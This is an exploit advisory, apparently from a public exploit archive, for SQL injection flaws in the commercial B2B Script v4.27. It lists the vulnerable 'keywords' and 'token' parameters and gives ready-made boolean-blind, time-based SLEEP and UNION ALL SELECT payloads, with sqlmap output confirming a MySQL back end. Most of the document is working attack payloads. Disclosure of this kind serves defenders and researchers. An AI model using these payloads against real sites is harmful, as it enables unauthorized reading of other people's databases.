B2B Script 4.27 SQL Injection

`# Vulnerability: B2B Script v4.27 - SQL Injection  
# Date: 18.01.2017  
# Software link: http://itechscripts.com/b2b-script/  
# Demo: http://b2b.itechscripts.com  
# Price: 199$  
# Category: webapps  
# Exploit Author: Dawid Morawski  
# Website: http://www.morawskiweb.pl  
# Contact: [email protected]  
#######################################  
  
1. Description  
An attacker can exploit this vulnerability to read from the database.  
  
2. SQL Injection / Proof of Concept:  
  
http://localhost/[PATH]/search.php?keywords=[SQL]  
SQLmap outout:  
  
Parameter: keywords (GET)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
Payload: keywords=-7908') OR 3641=3641#  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 2 columns  
Payload: keywords=Products') UNION ALL SELECT  
NULL,CONCAT(0x716b7a7871,0x68634473486965586e6b57754358736b487a43564c6963646e556549454e476177776a5a6a7a4c4c,0x71767a7a71)#  
---  
[INFO] testing MySQL  
[INFO] confirming MySQL  
[INFO] the back-end DBMS is MySQL  
  
#########################################  
  
http://localhost/[PATH]/catcompany.php?token=[SQL]  
SQLmap outout:  
  
Parameter: token (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: token=7532a5bfc9e07964f8dddeb95fc584cd965d' AND 9125=9125 AND  
'HhOm'='HhOm  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: token=7532a5bfc9e07964f8dddeb95fc584cd965d' AND SLEEP(5) AND  
'dWKJ'='dWKJ  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 6 columns  
Payload: token=-7417' UNION ALL SELECT  
NULL,CONCAT(0x7171707071,0x6a6c6d484f58726e48446167417a66756464445941464844416856527a634a704f4b79647a494654,0x716b786271),NULL,NULL,NULL,NULL--  
aNXq  
  
`